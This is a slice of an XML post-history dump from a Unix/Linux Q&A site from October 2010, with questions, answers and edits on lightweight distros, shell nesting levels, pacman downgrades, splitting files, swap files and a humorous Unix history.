expectations.&#xD;&#xA;&#xD;&#xA;Many people created software distributions including the [Linux](http://en.wikipedia.org/wiki/Linux) kernel, a number of GNU programs, the X Window System, and other free software. These distributions ([Slackware](http://en.wikipedia.org/wiki/Slackware), [Debian](http://en.wikipedia.org/wiki/Debian), [Gentoo](http://en.wikipedia.org/wiki/Gentoo), [Red Hat](http://en.wikipedia.org/wiki/Red_Hat), [SUSE](http://en.wikipedia.org/wiki/SUSE), [Ubuntu](http://en.wikipedia.org/wiki/Ubuntu), etc.) are what people generally refer to when they say “Linux”. Most Linux distribution consist mostly of free-as-in-speech software, though software that is merely free-as-in-beer is often included when no free equivalent exists.&#xD;&#xA;&#xD;&#xA;Other currently existing unices include the various forks of BSD (you get a choice of [Free](http://en.wikipedia.org/wiki/FreeBSD), [Net](http://en.wikipedia.org/wiki/NetBSD) and [Open](http://en.wikipedia.org/wiki/OpenBSD), all being free, open and developed through the 'net), as well as a disminishing number of proprietary variants targeted towards servers: and [AIX](http://en.wikipedia.org/wiki/IBM_AIX), [HP-UX](http://en.wikipedia.org/wiki/HP-UX), [Solaris](http://en.wikipedia.org/wiki/Solaris_%28operating_system%29), and a few very minor contenders. Another proprietary unix-based operating system is [Mac OS X](http://en.wikipedia.org/wiki/Mac_OS_X) running on [Apple](http://en.wikipedia.org/wiki/Apple_Inc.) [desktops](http://en.wikipedia.org/Macintosh) and [PDAs](http://en.wikipedia.org/wiki/iOS_%28Apple%29)." />
  <row Id="6775" PostHistoryTypeId="2" PostId="3203" RevisionGUID="ad29f270-801b-4d7b-a3cb-b6e91353bbe8" CreationDate="2010-10-16T23:38:20.433" UserId="1915" Text="I need run a good Linux distribution on an old notebook with Athlon 1.2 and 128MB. I tried use a lite version of Win XP and some popular Linux distros but all of them was too heavy to this machine. The distro need be ease to use by a beginner user. It don't need be small, just light.&#xD;&#xA;&#xD;&#xA;I did a lot of research including here and I can't get a good answer." />
  <row Id="6776" PostHistoryTypeId="1" PostId="3203" RevisionGUID="ad29f270-801b-4d7b-a3cb-b6e91353bbe8" CreationDate="2010-10-16T23:38:20.433" UserId="1915" Text="What's a good lightweight distribution to run on old hardware?" />
  <row Id="6777" PostHistoryTypeId="3" PostId="3203" RevisionGUID="ad29f270-801b-4d7b-a3cb-b6e91353bbe8" CreationDate="2010-10-16T23:38:20.433" UserId="1915" Text="édistrosà" />
  <row Id="6778" PostHistoryTypeId="2" PostId="3204" RevisionGUID="75eaa787-642e-45af-ae8b-aebfc9771aa1" CreationDate="2010-10-16T23:45:11.410" UserId="885" Text="Xterm puts the variable `WINDOWID` in the environment of its subprocess. Its value is the window ID of the xterm window. There is no POSIX way of querying the environment of a process based on its PID; here's a Linux way of querying the environment of process `$pid` and extracting the `WINDOWID` variable:&#xD;&#xA;&#xD;&#xA;    &lt;/proc/$pid/environ awk -v 'RS=\0' -F = '$1==&quot;WINDOWID&quot; {print $2}'&#xD;&#xA;&#xD;&#xA;You can then find or act on the window with `wmctrl` or through your window manager's interface.&#xD;&#xA;&#xD;&#xA;If you use screen, first try the `STY` variable, which is set to the name of the screen session. You can connect to that session with `screen -rd -S &quot;$sessionname&quot;`.&#xD;&#xA;" />
  <row Id="6779" PostHistoryTypeId="2" PostId="3205" RevisionGUID="0789fa99-bd5e-41f7-b80f-cd6150ab6ec5" CreationDate="2010-10-17T00:16:48.957" UserId="2298" Text="Have a look at this question over on Super User&#xD;&#xA;[Lightweight GUI Linux distribution for really old computer][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/73912/lightweight-gui-linux-distribution-for-really-old-computer" />
  <row Id="6780" PostHistoryTypeId="4" PostId="3197" RevisionGUID="48b21d1b-8edc-4ea5-991e-dd92125d6c12" CreationDate="2010-10-17T00:17:00.017" UserId="1207" Comment="edited title" Text="How to identify which xterm a shell or process is running in?" />
  <row Id="6781" PostHistoryTypeId="5" PostId="3204" RevisionGUID="6b6e4c7a-4e43-46ef-b500-e9f249fb5dd5" CreationDate="2010-10-17T00:21:03.963" UserId="885" Comment="use gawk as other awks may not support RS=\0" Text="Xterm puts the variable `WINDOWID` in the environment of its subprocess. Its value is the window ID of the xterm window. There is no POSIX way of querying the environment of a process based on its PID; here's a Linux way of querying the environment of process `$pid` and extracting the `WINDOWID` variable:&#xD;&#xA;&#xD;&#xA;    &lt;/proc/$pid/environ gawk -v 'RS=\0' -F = '$1==&quot;WINDOWID&quot; {print $2}'&#xD;&#xA;&#xD;&#xA;You can then find or act on the window with `wmctrl` or through your window manager's interface.&#xD;&#xA;&#xD;&#xA;If you use screen, first try the `STY` variable, which is set to the name of the screen session. You can connect to that session with `screen -rd -S &quot;$sessionname&quot;`.&#xD;&#xA;" />
  <row Id="6782" PostHistoryTypeId="2" PostId="3206" RevisionGUID="b4a4d1f7-875b-449e-8304-18b225f8bb0e" CreationDate="2010-10-17T00:27:40.153" UserId="298" Text="It's not a distribution, and I'm sure I sound like a broken record, but, I find OpenBSD to be an excellent unix like operating system that runs very nicely on older hardware, has excellent manual pages, and generally just works.  I also find it excellent for a beginner, due to it's excellent FAQ and documentation.  " />
  <row Id="6783" PostHistoryTypeId="5" PostId="3202" RevisionGUID="2c10cddc-2147-47e9-bda4-473918c19787" CreationDate="2010-10-17T00:44:52.657" UserId="885" Comment="wibble" Text="*This is a [highly simplified](http://en.wikipedia.org/wiki/File:Unix_history-simple.svg) [history](http://www.levenez.com/unix/) of [Unix and its derivatives](http://www.unix-diagram.org/). Windows does not figure in it because its history is essentially separate.*&#xD;&#xA;&#xD;&#xA;Once upon a time operating systems were complex and unwieldy. One day in the late 1960s, [Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson), [Dennis Ritchie](http://en.wikipedia.org/wiki/Dennis_Ritchie) and a few of their colleagues at [AT&amp;T Bell Labs](http://en.wikipedia.org/wiki/Bell_Labs) decided to write a simpler version of [Multics](http://en.wikipedia.org/wiki/Multics) to run games on their [PDP-7](http://en.wikipedia.org/wiki/PDP-7), and thus [**Unix**](http://en.wikipedia.org/wiki/Unix) was born.&#xD;&#xA;&#xD;&#xA;AT&amp;T held the rights to the code, and licenses were expensive. Many other companies sublicensed Unix and sold their own version. Major players included [DEC](http://en.wikipedia.org/wiki/Digital_Equipment_Corporation), [HP](http://en.wikipedia.org/wiki/Hewlett-Packard), [IBM](http://en.wikipedia.org/wiki/IBM), [Sun](http://en.wikipedia.org/wiki/Sun_Microsystems). Unix variants added their own extensions, often nicking ideas from each other and from academia. Another important contributor is [Xerox PARC](http://en.wikipedia.org/wiki/Xerox_PARC), where the the [**X Window System**](http://en.wikipedia.org/wiki/X_Window_System) was born.&#xD;&#xA;&#xD;&#xA;Meanwhile, in [Berkeley](http://en.wikipedia.org/wiki/University_of_California_at_Berkeley), a number of academics were unhappy with the licensing situation and decided to create a version of Unix that didn't include any AT&amp;T-licensed code. Thus in the early 1980s the [Berkeley Software Distribution, or **BSD**,](http://en.wikipedia.org/wiki/Berkeley_Software_Distribution) became a free variant of Unix. BSD first ran on [Minicomputers](http://en.wikipedia.org/wiki/Minicomputers) such as [PDP-11](http://en.wikipedia.org/wiki/PDP-11) and [VAXen](http://en.wikipedia.org/wiki/VAX).&#xD;&#xA;&#xD;&#xA;Meanwhile, on the [East coast](http://en.wikipedia.org/wiki/MIT), [Richard Stallman](http://en.wikipedia.org/wiki/Richard_Stallman) threw a fit when he couldn't get the source code to his printer driver. He founded the [**GNU** (&lt;strong&gt;G&lt;/strong&gt;NU's &lt;strong&gt;n&lt;/strong&gt;ot &lt;strong&gt;U&lt;/strong&gt;nix)](http://en.wikipedia.org/wiki/GNU) project in 1983 intending to make a [free](http://en.wikipedia.org/wiki/Free_software) Unix-like operating system, only better. After a little hesitation, the kernel of this operating system was chosen to be [Hurd](http://en.wikipedia.org/wiki/GNU_Hurd), which is going to be usable any decade now. Many components of the GNU project are included in all current free unices, in particular the compiler [**GCC**](http://en.wikipedia.org/wiki/GCC).&#xD;&#xA;&#xD;&#xA;Meanwhile, in Finland, [Linus Torvalds](http://en.wikipedia.org/wiki/Linus_Torvalds) went on a hacking binge in summer 1991. When he woke up, he realized that he'd written an operating system for his [PC](http://en.wikipedia.org/wiki/IBM_PC_compatible), and he decided to share it by putting it on an FTP server in a directory called [**linux**](http://en.wikipedia.org/wiki/Linux). The success exceeded his expectations.&#xD;&#xA;&#xD;&#xA;Many people created software distributions including the Linux kernel, many GNU programs, the X Window System, and other free software. These distributions ([Slackware](http://en.wikipedia.org/wiki/Slackware), [Debian](http://en.wikipedia.org/wiki/Debian), [Red Hat](http://en.wikipedia.org/wiki/Red_Hat), [SUSE](http://en.wikipedia.org/wiki/SUSE), [Gentoo](http://en.wikipedia.org/wiki/Gentoo), [Ubuntu](http://en.wikipedia.org/wiki/Ubuntu), etc.) are what people generally refer to when they say “Linux”. Most Linux distributions consist mostly of free-as-in-speech software, though software that is merely free-as-in-beer is often included when no free equivalent exists.&#xD;&#xA;&#xD;&#xA;Other currently existing unices include the various forks of BSD (you get a choice of [**FreeBSD**](http://en.wikipedia.org/wiki/FreeBSD), [**NetBSD**](http://en.wikipedia.org/wiki/NetBSD) and [**OpenBSD**](http://en.wikipedia.org/wiki/OpenBSD), all being free, open and developed through the 'net), as well as a disminishing number of commercial variants targeted towards servers: and [**AIX**](http://en.wikipedia.org/wiki/IBM_AIX), [**HP-UX**](http://en.wikipedia.org/wiki/HP-UX), [**Solaris**](http://en.wikipedia.org/wiki/Solaris_%28operating_system%29), and a few very minor contenders. Another proprietary unix-based operating system is [**Mac OS X**](http://en.wikipedia.org/wiki/Mac_OS_X) running on [Apple](http://en.wikipedia.org/wiki/Apple_Inc.) [desktops, laptops](http://en.wikipedia.org/Macintosh) and [PDAs](http://en.wikipedia.org/wiki/iOS_%28Apple%29)." />
  <row Id="6784" PostHistoryTypeId="5" PostId="2211" RevisionGUID="73b40f60-6673-45a9-88db-926e3aa8d517" CreationDate="2010-10-17T00:47:42.010" UserId="885" Comment="added “than a swap partition”, “under Linux”; added 30 characters in body" Text="A swap file is more flexible but also more fallible than a swap partition. A filesystem error could damage the swap file. A swap file can be a pain for the administrator, since the file can't be moved or deleted. A swap file is also slightly slower.&#xD;&#xA;&#xD;&#xA;The advantage of a swap file is not having to decide the size in advance. However, under Linux, you still can't resize a swap file online: you have to unregister it, resize, then reregister (or create a different file and remove the old one). So there isn't that much benefit to a swap file under Linux, compared to a swap partition. It's mainly useful when you temporarily need more virtual memory, rather than as a permanent fixture.&#xD;&#xA;" />
  <row Id="6785" PostHistoryTypeId="2" PostId="3207" RevisionGUID="0769e851-a4df-4304-beef-b2231f4f59fd" CreationDate="2010-10-17T00:58:44.957" UserId="1571" Text="Is there an easy way to install multiple liveCDs ont a USB drive? Specifically kubuntu and arch. I'm just wondering if there's an easy way to do this since both distros include their own boot loader when installed the way they suggest." />
  <row Id="6786" PostHistoryTypeId="1" PostId="3207" RevisionGUID="0769e851-a4df-4304-beef-b2231f4f59fd" CreationDate="2010-10-17T00:58:44.957" UserId="1571" Text="Multiple liveCDs on one USB" />
  <row Id="6787" PostHistoryTypeId="3" PostId="3207" RevisionGUID="0769e851-a4df-4304-beef-b2231f4f59fd" CreationDate="2010-10-17T00:58:44.957" UserId="1571" Text="édualöbootàéliveöusbà" />
  <row Id="6788" PostHistoryTypeId="5" PostId="935" RevisionGUID="dec332c5-bec5-4255-a347-531717d0c947" CreationDate="2010-10-17T02:43:37.930" UserId="1010" Comment="typo fix" Text="The most obvious difference is that aptitude provides a terminal menu interface (much like Synaptic in a terminal), whereas apt-get does not.&#xD;&#xA;&#xD;&#xA;Considering only the command-line interfaces of each, they are quite similar, and for the most part, it really doesn't matter which you use. Recent versions of both will track which packages were manually installed, and which were installed as dependencies (and therefore eligible for automatic removal). In fact, I believe that even more recently, the two tools were updated to actually share the same database of manually vs automatically installed packages, so cases where you install something with apt-get and then aptitude wants to uninstall it are mostly a thing of the past. &#xD;&#xA;&#xD;&#xA;There are a few minor differences:&#xD;&#xA;&#xD;&#xA; - aptitude will automatically remove eligible packages, whereas apt-get requires a separate command to do so&#xD;&#xA; - The commands for *upgrade* vs. *dist-upgrade* have been renamed in aptitude to the probably more accurate names *safe-upgrade* and *full-upgrade*, respectively.&#xD;&#xA; - aptitude actually performs the functions of not just apt-get, but also some of its companion tools, such as apt-cache and apt-mark.&#xD;&#xA; - aptitude has a slightly different query syntax for searching (compared to apt-cache)&#xD;&#xA; - aptitude has the *why* and *why-not* commands to tell you which *manually installed* packages are preventing an action that you might want to take.&#xD;&#xA; - If the actions (installing, removing, updating packages) that you want to take cause conflicts, aptitude can suggest several potential resolutions. apt-get will just say &quot;I'm sorry Dave, I can't allow you to do that.&quot;&#xD;&#xA;&#xD;&#xA;There are other small differences, but those are the most important ones that I can think of.&#xD;&#xA;&#xD;&#xA;In short, aptitude more properly belongs in the category with Synaptic and other higher-level pacakge manager frontends. It just happens to also have a command-line interface that resembles apt-get.&#xD;&#xA;&#xD;&#xA;## Bonus Round: What is wajig?&#xD;&#xA;&#xD;&#xA;Remember how I mentioned those &quot;companion&quot; tools like apt-cache and apt-mark? Well, there's a bunch of them, and if you use them a lot, you might not remember which ones provide which commands. wajig is one solution to that problem. It is essentially a dispatcher, a wrapper around all of those tools. It also applies sudo when necessary. When you say `wajig install foo`, wajig says &quot;Ok, `install` is provided by `apt-get` and requires admin privileges,&quot; and it runs `sudo apt-get install foo`. When you say `wajig search foo`, wajig says &quot;Ok, `search` is provided by `apt-cache` and does not require admin provileges,&quot; and it runs `apt-cache search foo`. If you use wajig instead of apt-get, apt-mark, apt-cache and others, then you'll never have this problem:&#xD;&#xA;&#xD;&#xA;    $ apt-get search foo&#xD;&#xA;    E: Invalid operation search&#xD;&#xA;&#xD;&#xA;If you want to know what wajig is doing behind the scenes, which tools it is using to implement a particular command, it has `--simulate` and `--teaching` modes that show you.&#xD;&#xA;&#xD;&#xA;Two wajig commands that I use often are `wajig list-files foo` and `wajig whichpkg /usr/bin/foo`.&#xD;&#xA;&#xD;&#xA;Edit: Of course, don't forget `wajig moo`." />
  <row Id="6789" PostHistoryTypeId="2" PostId="3208" RevisionGUID="bfd5032a-f41e-47b9-85c6-facb83908027" CreationDate="2010-10-17T05:15:16.417" UserId="192" Text="I have used Damn Small Linux many times to great success for older machines with little in the way of system resources.  It is based on Debian so you have the benefit of apt/ aptitude and has as I recall a couple of versions that come with different levels of pre-installed software.  http://www.damnsmalllinux.org" />
  <row Id="6790" PostHistoryTypeId="2" PostId="3209" RevisionGUID="4a20c520-d0ab-418c-a717-c0a86fcb1e22" CreationDate="2010-10-17T07:04:43.140" UserId="1327" Text="What is the best, or most suitable, method of **downgrading** packages in *Arch*?&#xD;&#xA;&#xD;&#xA;On normal days I just run the following to accomplish a quick downgrade:&#xD;&#xA;&#xD;&#xA;     # pacman -Rd &lt;broken-package&gt;&#xD;&#xA;     # pacman -U  &lt;older-stable-package-pkg.tar.gz&gt;&#xD;&#xA;&#xD;&#xA;But today I am downgrading my *kernel*, which is a very vital part of my linux life. I'd like to do it correctly.&#xD;&#xA;&#xD;&#xA;Is this the propper way? If not, what is?&#xD;&#xA;" />
  <row Id="6791" PostHistoryTypeId="1" PostId="3209" RevisionGUID="4a20c520-d0ab-418c-a717-c0a86fcb1e22" CreationDate="2010-10-17T07:04:43.140" UserId="1327" Text="downgrading packages with pacman" />
  <row Id="6792" PostHistoryTypeId="3" PostId="3209" RevisionGUID="4a20c520-d0ab-418c-a717-c0a86fcb1e22" CreationDate="2010-10-17T07:04:43.140" UserId="1327" Text="éarchölinuxàépacmanà" />
  <row Id="6793" PostHistoryTypeId="5" PostId="1588" RevisionGUID="33f08503-bbf1-4aaa-becf-318bff54828e" CreationDate="2010-10-17T07:13:26.310" UserId="1327" Comment="deleted 245 characters in body; edited title" Text="How do I break a large, **+4GB** file into smaller files of about **500MB** each. &#xD;&#xA;&#xD;&#xA;And how do I **re-assemble** them again to get the original file? " />
  <row Id="6794" PostHistoryTypeId="4" PostId="1588" RevisionGUID="33f08503-bbf1-4aaa-becf-318bff54828e" CreationDate="2010-10-17T07:13:26.310" UserId="1327" Comment="deleted 245 characters in body; edited title" Text="Break a large file into smaller pieces" />
  <row Id="6795" PostHistoryTypeId="2" PostId="3210" RevisionGUID="f3db7422-2ec6-4988-9284-ba026f286a7f" CreationDate="2010-10-17T07:17:47.917" UserId="29" Text="Generally speaking unless there is a dep depending on it (in which case leaving it that way would break something), `pacman -U  &lt;older-stable-package-pkg.tar.gz&gt;` will do the job correctly." />
  <row Id="6796" PostHistoryTypeId="4" PostId="3192" RevisionGUID="52d89863-6edf-4056-a618-25256971e8c7" CreationDate="2010-10-17T07:18:45.433" UserId="1327" Comment="edited title" Text="What is meant by mounting a device in Linux?" />
  <row Id="6797" PostHistoryTypeId="5" PostId="3210" RevisionGUID="1eb3ad2d-0e24-449f-afd8-cf196bba7cae" CreationDate="2010-10-17T07:27:50.880" UserId="29" Comment="add some clarifications on -Rd" Text="Generally speaking unless there is a dep depending on it (in which case leaving it that way would break something), `pacman -U  &lt;older-stable-package-pkg.tar.gz&gt;` will do the job correctly. Also you should avoid `-Rd` when doing things that could break your system unless **You know what you are doing**, because otherwise the system will complain if you're trying to downgrade in a way that will break a dependency." />
  <row Id="6798" PostHistoryTypeId="4" PostId="2207" RevisionGUID="37eefc4d-2841-4cef-9745-c3335186f79c" CreationDate="2010-10-17T07:57:12.303" UserId="1207" Comment="edited title" Text="Why does Linux use a swap partition rather than a file?" />
  <row Id="6799" PostHistoryTypeId="2" PostId="3211" RevisionGUID="be63bbf0-645f-4c79-822c-2d14405b17ac" CreationDate="2010-10-17T08:45:15.930" UserId="2319" Text="There is a guide to do exactly this on this question:&#xD;&#xA;&#xD;&#xA;http://unix.stackexchange.com/questions/665/installing-grub-2-on-a-usb-flash-drive&#xD;&#xA;&#xD;&#xA;as the first answer. It answers it perfectly (assuming that I know what you are asking) and allows you to have multiple isos on a usb stick, by installing grub." />
  <row Id="6800" PostHistoryTypeId="2" PostId="3212" RevisionGUID="db1c395b-dbd5-405e-bea7-48d2d70e0cf6" CreationDate="2010-10-17T09:18:32.903" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;If I open a terminal like `xterm` I will have a shell. Then if I use `ssh` or `zsh` I will have another &quot;level&quot; of shell. Is there a way to know how many times I have to `Ctrl+D` or type `exit` to exit all of them? My real intention is to exit everything except the &quot;root&quot; shell.&#xD;&#xA;&#xD;&#xA;It will also be nice to know what effect(s) terminal multiplexers (like `screen`) have on the solution.&#xD;&#xA;&#xD;&#xA;PS: Please feel free to change the title, I don't know if those are the correct terms." />
  <row Id="6801" PostHistoryTypeId="1" PostId="3212" RevisionGUID="db1c395b-dbd5-405e-bea7-48d2d70e0cf6" CreationDate="2010-10-17T09:18:32.903" UserId="250" Text="How to know the &quot;level&quot; of shells I am in?" />
  <row Id="6802" PostHistoryTypeId="3" PostId="3212" RevisionGUID="db1c395b-dbd5-405e-bea7-48d2d70e0cf6" CreationDate="2010-10-17T09:18:32.903" UserId="250" Text="éshellàéterminalà" />
  <row Id="6803" PostHistoryTypeId="2" PostId="3213" RevisionGUID="ca09ca53-16a8-4de3-a6ef-f68b3c0c7035" CreationDate="2010-10-17T09:52:21.057" UserId="659" Text="For a really crazy diagram of the evolution of UNIX, see [here][1]. Not that it's very useful, though :).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.levenez.com/unix/" />
  <row Id="6804" PostHistoryTypeId="5" PostId="3202" RevisionGUID="f1955709-f1a9-4c44-ad4f-c60f1b29f6cb" CreationDate="2010-10-17T11:04:04.157" UserId="885" Comment="PARC didn't invent X" Text="*This is a [highly simplified](http://en.wikipedia.org/wiki/File:Unix_history-simple.svg) [history](http://www.levenez.com/unix/) of [Unix and its derivatives](http://www.unix-diagram.org/). Windows does not figure in it because its history is essentially separate.*&#xD;&#xA;&#xD;&#xA;Once upon a time operating systems were complex and unwieldy. One day in the late 1960s, [Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson), [Dennis Ritchie](http://en.wikipedia.org/wiki/Dennis_Ritchie) and a few of their colleagues at [AT&amp;T Bell Labs](http://en.wikipedia.org/wiki/Bell_Labs) decided to write a simpler version of [Multics](http://en.wikipedia.org/wiki/Multics) to run games on their [PDP-7](http://en.wikipedia.org/wiki/PDP-7), and thus [**Unix**](http://en.wikipedia.org/wiki/Unix) was born.&#xD;&#xA;&#xD;&#xA;AT&amp;T held the rights to the code, and licenses were expensive. Many other companies sublicensed Unix and sold their own version. Major players included [DEC](http://en.wikipedia.org/wiki/Digital_Equipment_Corporation), [HP](http://en.wikipedia.org/wiki/Hewlett-Packard), [IBM](http://en.wikipedia.org/wiki/IBM), [Sun](http://en.wikipedia.org/wiki/Sun_Microsystems). Unix variants added their own extensions, often nicking ideas from each other and from academia.&#xD;&#xA;&#xD;&#xA;Meanwhile, in [Berkeley](http://en.wikipedia.org/wiki/University_of_California_at_Berkeley), a number of academics were unhappy with the licensing situation and decided to create a version of Unix that didn't include any AT&amp;T-licensed code. Thus in the early 1980s the [Berkeley Software Distribution, or **BSD**,](http://en.wikipedia.org/wiki/Berkeley_Software_Distribution) became a free variant of Unix. BSD first ran on [Minicomputers](http://en.wikipedia.org/wiki/Minicomputers) such as [PDP-11](http://en.wikipedia.org/wiki/PDP-11) and [VAXen](http://en.wikipedia.org/wiki/VAX).&#xD;&#xA;&#xD;&#xA;Meanwhile, on the [East coast](http://en.wikipedia.org/wiki/MIT), [Richard Stallman](http://en.wikipedia.org/wiki/Richard_Stallman) threw a fit when he couldn't get the source code to his printer driver. He founded the [**GNU** (&lt;strong&gt;G&lt;/strong&gt;NU's &lt;strong&gt;n&lt;/strong&gt;ot &lt;strong&gt;U&lt;/strong&gt;nix)](http://en.wikipedia.org/wiki/GNU) project in 1983 intending to make a [free](http://en.wikipedia.org/wiki/Free_software) Unix-like operating system, only better. After a little hesitation, the kernel of this operating system was chosen to be [Hurd](http://en.wikipedia.org/wiki/GNU_Hurd), which is going to be usable any decade now. Many components of the GNU project are included in all current free unices, in particular the compiler [**GCC**](http://en.wikipedia.org/wiki/GCC).&#xD;&#xA;&#xD;&#xA;Meanwhile, in Finland, [Linus Torvalds](http://en.wikipedia.org/wiki/Linus_Torvalds) went on a hacking binge in summer 1991. When he woke up, he realized that he'd written an operating system for his [PC](http://en.wikipedia.org/wiki/IBM_PC_compatible), and he decided to share it by putting it on an FTP server in a directory called [**linux**](http://en.wikipedia.org/wiki/Linux). The success exceeded his expectations.&#xD;&#xA;&#xD;&#xA;Many people created software distributions including the Linux kernel, many GNU programs, the [X Window System](http://en.wikipedia.org/wiki/X_Window_System), and other free software. These distributions ([Slackware](http://en.wikipedia.org/wiki/Slackware), [Debian](http://en.wikipedia.org/wiki/Debian), [Red Hat](http://en.wikipedia.org/wiki/Red_Hat), [SUSE](http://en.wikipedia.org/wiki/SUSE), [Gentoo](http://en.wikipedia.org/wiki/Gentoo), [Ubuntu](http://en.wikipedia.org/wiki/Ubuntu), etc.) are what people generally refer to when they say “Linux”. Most Linux distributions consist mostly of free-as-in-speech software, though software that is merely free-as-in-beer is often included when no free equivalent exists.&#xD;&#xA;&#xD;&#xA;Other currently existing unices include the various forks of BSD (you get a choice of [**FreeBSD**](http://en.wikipedia.org/wiki/FreeBSD), [**NetBSD**](http://en.wikipedia.org/wiki/NetBSD) and [**OpenBSD**](http://en.wikipedia.org/wiki/OpenBSD), all being free, open and developed through the 'net), as well as a disminishing number of commercial variants targeted towards servers: and [**AIX**](http://en.wikipedia.org/wiki/IBM_AIX), [**HP-UX**](http://en.wikipedia.org/wiki/HP-UX), [**Solaris**](http://en.wikipedia.org/wiki/Solaris_%28operating_system%29), and a few very minor contenders. Another proprietary unix-based operating system is [**Mac OS X**](http://en.wikipedia.org/wiki/Mac_OS_X) running on [Apple](http://en.wikipedia.org/wiki/Apple_Inc.) [desktops, laptops](http://en.wikipedia.org/Macintosh) and [PDAs](http://en.wikipedia.org/wiki/iOS_%28Apple%29)." />
  <row Id="6805" PostHistoryTypeId="5" PostId="1589" RevisionGUID="dae0c606-8c78-4869-ae20-ede004da5879" CreationDate="2010-10-17T11:17:07.000" UserId="885" Comment="use `foo.` in splitting command, for consistency with the joining command" Text="You can use [*split*][1] and *cat*.&#xD;&#xA;&#xD;&#xA;E.g. something like&#xD;&#xA;&#xD;&#xA;     split -b 500M -d  -a 3 foo.&#xD;&#xA;&#xD;&#xA;Assuming that the shell sorts the results of shell globbing you could do something like this:&#xD;&#xA;&#xD;&#xA;     cat foo.* &gt; foo&#xD;&#xA;&#xD;&#xA;Else, you could use a combination of find/sort/xargs.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/split-invocation.html" />
  <row Id="6806" PostHistoryTypeId="2" PostId="3214" RevisionGUID="4e57389c-7dea-460c-a2e7-29c8aff8a3ce" CreationDate="2010-10-17T11:23:18.793" UserId="481" Text="One (admittedly not perfect) way is to add the result of `ps --no-headers -o comm $PPID` to your shell prompt. This will tell you the name of the process that spawned your shell. If you're inside a nested zsh, it will say &quot;zsh&quot;. If you're inside a top-level zsh, it will read &quot;xterm&quot; or &quot;screen&quot; or whatever your shell is running in.&#xD;&#xA;&#xD;&#xA;To tell whether you're inside an ssh or su session, you can simply look at the hostname and username part of your prompt.&#xD;&#xA;&#xD;&#xA;When you're running nested screens (which I don't imagine is a common situation), there's no way I can think of to tell whether you're in the top-level shell of a nested screen, or the top-level shell of the top-level screen. You could configure screen to always display a status line, which would cause multiple status lines to be displayed, if you're in nested screens." />
  <row Id="6807" PostHistoryTypeId="2" PostId="3215" RevisionGUID="7615be6f-b606-49b3-b7c1-25d4d57e2e4a" CreationDate="2010-10-17T11:23:38.800" UserId="1327" Text="Not very elegant, but you could use *tree view* in [htop][1] to see parent-child relationship of your shell to other running proccesses.&#xD;&#xA;&#xD;&#xA;    $ htop # then press 't' and scroll around or 'Ctrl-W' to find your shell proccess&#xD;&#xA;&#xD;&#xA;And use that to deduce the ammount of shells you will need to exit, before ariving at the &quot;root&quot; shell &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://htop.sourceforge.net/" />
  <row Id="6808" PostHistoryTypeId="2" PostId="3216" RevisionGUID="35399fd9-7751-430a-ab18-48180747c847" CreationDate="2010-10-17T11:32:52.223" UserId="2320" Text="In general, I want to make specific keymaps for application, that working only in it and doesn't affect other apps.&#xD;&#xA;&#xD;&#xA;For example, I already use my Caps key to toggle input language (via xorg.conf), but I want Capslock to behave like Esc in vim.&#xD;&#xA;Looks like xmodmap doesn't have any options related to that.&#xD;&#xA;&#xD;&#xA;I use Gnome and would also appreciate any third-party applications." />
  <row Id="6809" PostHistoryTypeId="1" PostId="3216" RevisionGUID="35399fd9-7751-430a-ab18-48180747c847" CreationDate="2010-10-17T11:32:52.223" UserId="2320" Text="Application-specific keymapping" />
  <row Id="6810" PostHistoryTypeId="3" PostId="3216" RevisionGUID="35399fd9-7751-430a-ab18-48180747c847" CreationDate="2010-10-17T11:32:52.223" UserId="2320" Text="égnomeàéxorgàékeyboardà" />
  <row Id="6811" PostHistoryTypeId="2" PostId="3217" RevisionGUID="b3ad450b-2295-4487-a227-2316b1146536" CreationDate="2010-10-17T11:33:33.277" UserId="885" Text="You have in fact hit upon the correct term¹. There is an environment variable `SHLVL` which shells increment by 1 when they start. So if you start a shell inside a shell, `SHLVL` increases by 1.&#xD;&#xA;&#xD;&#xA;This doesn't directly answer your concern, however, because `SHLVL` carries over things like terminal emulators. For example, in my typical configuration, `$SHLVL` is 2 in an xterm, because level 1 corresponds to the shell that runs my X session (`~/.xinitrc` or `~/.xsession`).&#xD;&#xA;&#xD;&#xA;What I do is to display `$SHLVL` in my prompt, but only if the parent process of the shell is another shell (with heuristics like “if its name ends in `sh` plus optional punctuation and digits, it's a shell”). That way, I have an obvious visual indication in the uncommon case of a shell running under another shell.&#xD;&#xA;&#xD;&#xA;Maybe you would prefer to detect shells that are running directly under a terminal emulator. &#xD;&#xA;You can do this fairly accurately: these are the shells whose parent process has a different controlling terminal, so that `ps -o tty= -p$$` and `ps -o tty= -p$PPID` produce different output. You might manually reset `SHLVL` to 1 in these shells, or set your own `TERMSHLVL` to 1 in these shells (and incremented otherwise).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Although one wouldn't think it looking at the manual pages of common shells: dash and ksh don't document `SHLVL`; bash and zsh don't include the word “level” in their documentation of `SHLVL`.&#xD;&#xA;&lt;/sub&gt;" />
  <row Id="6812" PostHistoryTypeId="2" PostId="3218" RevisionGUID="0d36d2b0-585c-4dec-8e7d-73f1b60fc713" CreationDate="2010-10-17T11:55:30.363" UserId="131" Text="When I `ssh` into my VPS, I have `irssi` running in screen. When someone sends a unicode character (such as © or €), `irssi` displays garbage when I use it via the screen in a `ssh` session. If I connect to that `irssi` using irssi's proxy module, from irssi running on my local computer, it shows up correctly. &#xD;&#xA;&#xD;&#xA;Likewise, if I run ghci on my VPS (outside a screen) and enter in one of those characters, it crashes.&#xD;&#xA;&#xD;&#xA;So, obviously, there is a character encoding issue of some sort with my connection to my VPS, either in ssh or the system setup.&#xD;&#xA;&#xD;&#xA;How can I find out what is causing this, and solve it?&#xD;&#xA;&#xD;&#xA;Details:  &#xD;&#xA;&#xD;&#xA;__Client system__  &#xD;&#xA;&#xD;&#xA;* Arch Linux x64  &#xD;&#xA;* UTF-8 encoding&#xD;&#xA;&#xD;&#xA;__VPS system__&#xD;&#xA;&#xD;&#xA;* Ubuntu Server 10.04&#xD;&#xA;* Unknown encoding used. How do I find this? (I just have to look in my /etc/rc.conf for Arch)" />
